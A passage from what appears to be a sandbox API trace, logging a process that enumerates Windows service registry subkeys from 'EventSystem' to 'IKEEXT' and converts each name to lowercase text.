[0028.228] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x67, lpName=0x1c829e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1c94450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0028.228] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x68, lpName=0x1c829e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0028.229] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x69, lpName=0x1c829e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0028.229] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6a, lpName=0x1c829e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0028.229] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6b, lpName=0x1c829e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0028.229] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6c, lpName=0x1c829e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0028.229] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6d, lpName=0x1c829e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0028.229] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6e, lpName=0x1c829e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0028.229] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6f, lpName=0x1c829e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0028.230] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x70, lpName=0x1c829e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0028.230] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x71, lpName=0x1c829e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0028.230] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x72, lpName=0x1c829e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x1c94408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0028.230] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x73, lpName=0x1c829e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x1c94450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0028.230] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x74, lpName=0x1c829e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x1c94408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0028.230] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x75, lpName=0x1c829e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0028.230] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x76, lpName=0x1c829e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0028.230] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x77, lpName=0x1c829e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0028.231] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x78, lpName=0x1c829e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0028.231] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x79, lpName=0x1c829e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0028.231] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7a, lpName=0x1c829e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0028.231] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7b, lpName=0x1c829e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0028.231] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7c, lpName=0x1c829e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x1c94408, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0028.231] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7d, lpName=0x1c829e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0028.231] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7e, lpName=0x1c829e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0028.232] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7f, lpName=0x1c829e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0028.232] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x80, lpName=0x1c829e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0028.232] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x81, lpName=0x1c829e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0028.232] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x82, lpName=0x1c829e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0028.232] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x83, lpName=0x1c829e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0028.232] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x84, lpName=0x1c829e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x1c94408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0028.232] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x85, lpName=0x1c829e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x1c94450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0028.232] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x86, lpName=0x1c829e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0028.233] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x87, lpName=0x1c829e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0028.233] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x88, lpName=0x1c829e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0028.233] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x89, lpName=0x1c829e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0028.233] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8a, lpName=0x1c829e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0028.233] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8b, lpName=0x1c829e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0028.233] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8c, lpName=0x1c829e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0028.234] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8d, lpName=0x1c829e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.234] WideCharToMultiByte (in: 